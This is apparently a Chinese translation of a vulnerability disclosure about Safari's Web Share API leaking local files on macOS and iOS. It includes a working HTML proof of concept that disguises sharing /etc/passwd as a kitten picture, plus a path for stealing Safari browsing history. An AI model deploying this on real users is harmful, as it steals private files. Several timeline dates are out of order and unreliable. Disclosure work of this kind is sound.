使用Safari Web Share API窃取本地文件

使用Safari Web Share API窃取本地文件

描述

通常Web共享API [https://w3c.github.io/web-share/]允许用户通过第三方应用程序(如邮件和消息应用程序)分享浏览器中的链接。
问题是,file: scheme是允许的,当网站指向这样的URL时,意外的行为就会发生。如果这样的链接被传递给导航器。共享消息中包含来自用户文件系统的实际文件,当用户不知情地共享该文件时,会导致本地文件泄露。问题不是很严重的用户交互是必需的,但是很容易让用户共享文件不可见。我们想到的最类似的比较是点击劫持,当我们试图说服不知情的用户执行某些操作时。

下面是重现问题的步骤:

  1. 使用Safari或Mobile Safari访问https://overflow.pl/webshare/poc1.html
  2. 点击“与朋友分享!”
  3. 选择方法(如邮件、消息)
  4. “发送”或“分享”(或者只是查看附件)
  5. Local /etc/passwd已发送给收件人

诱骗用户分享猫咪照片的恶意网站示例:

使用Safari Web Share API窃取本地文件

这个问题在MacOS和iOS上都存在,选择不同的分享方式会得到不同的结果,如下图所示。

MacOS

邮件app是出现在网络分享选项中的第一个选择。在这种情况下,我们得到了一个很好的结果,因为由于消息中的新行,受害者将看不到附件,除非他/她滚动到底部:

使用Safari Web Share API窃取本地文件

只有当我们向下滚动,我们可以看到passwd文件实际上附加到电子邮件消息:

使用Safari Web Share API窃取本地文件

对于MacOS上的消息应用程序,它看起来更有趣,因为没有文件名显示:

使用Safari Web Share API窃取本地文件

iOS

邮件应用与MacOS版本没有显示附加文件,除非我们向下滚动到底部的信息:

使用Safari Web Share API窃取本地文件
使用Safari Web Share API窃取本地文件

iOS消息显示文件名,所以它不是很好:

使用Safari Web Share API窃取本地文件

Gmail应用程序看起来也很有趣,因为文件名“混淆”,并没有显示我们实际上正在共享passwd文件:

使用Safari Web Share API窃取本地文件
使用Safari Web Share API窃取本地文件

概念验证

下面是用于演示的示例代码:


<html>
<script>
var opts = {text: 'check out this cute kitten! http://somerandomimagewebsite.com/cat.jpg\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n', url: 'file:///etc/passwd'};

function run() {
 navigator.share(opts);
}
</script>
<body>
Check out this cute kitten!
<br/>
<img width="200px" height="200px" src="cat.jpg">
<br/>
<button onclick='run();'>share it with friends!</button>
</body>
</html>

窃取iOS Safari浏览器的浏览历史

我考虑了一个更有用的场景,即如何使用这个bug提取敏感信息,作为passwd文件,这只适合用于演示。它必须是可以从Safari应用程序访问的内容,所以浏览器历史似乎是一个很好的溢出候选。为了实现这一点,我们只需将url值更改为以下内容:

file:///private/var/mobile/Library/Safari/History.db

PoC代码在这里:
https://overflow.pl/webshare/poc2.html

受影响的软件

这已在iOS(13.4.1,13.6),带有Safari 13.1的macOS Mojave 10.14.16(14609.1.20.111.8)和带有Safari 13.1.1(15609.2.9.1.2)的macOS Catalina 10.15.5上进行了测试。
至于今天(2020年8月26日)没有可用的修复。

披露时间表

2020年4月17日–发现问题并报告给Apple
2020年4月21日– Apple承认该报告,通知他们将对此问题进行调查
2020年4月22日-已发送更新的报告,其中包含少量澄清
2020年4月28日–要求状态更新
2020年4月29日–收到回复,报告正在分析中
2020年11月5日–要求状态更新
2020年5月13日-苹果公司答复说,他们仍在调查中,没有有关此问题的最新消息
2020年11月6日–要求状态更新,没有回复
2020年2月7日–要求状态更新,没有回复
2020年13月7日–要求状态更新,无回复
2020年7月21日–要求状态更新,以及苹果是否需要更多时间来解决此问题,因为我告知我打算在2020年7月24日之后发布有关此案的信息,如果没有答复/没有异议从苹果方面公开。
2020年7月23日-Apple回应他们正在调查,并将在有最新消息后立即跟进
2020年2月8日–要求状态更新并宣布披露于2020年8月24日
2020年8月14日–苹果回答说,他们计划在2021年春季安全更新中解决此问题时,不公开细节。
2020年8月17日–答复说,等待披露将近一年,而自报告该问题以来已经过去了4个月
2020年8月24日–该帖子已发布

from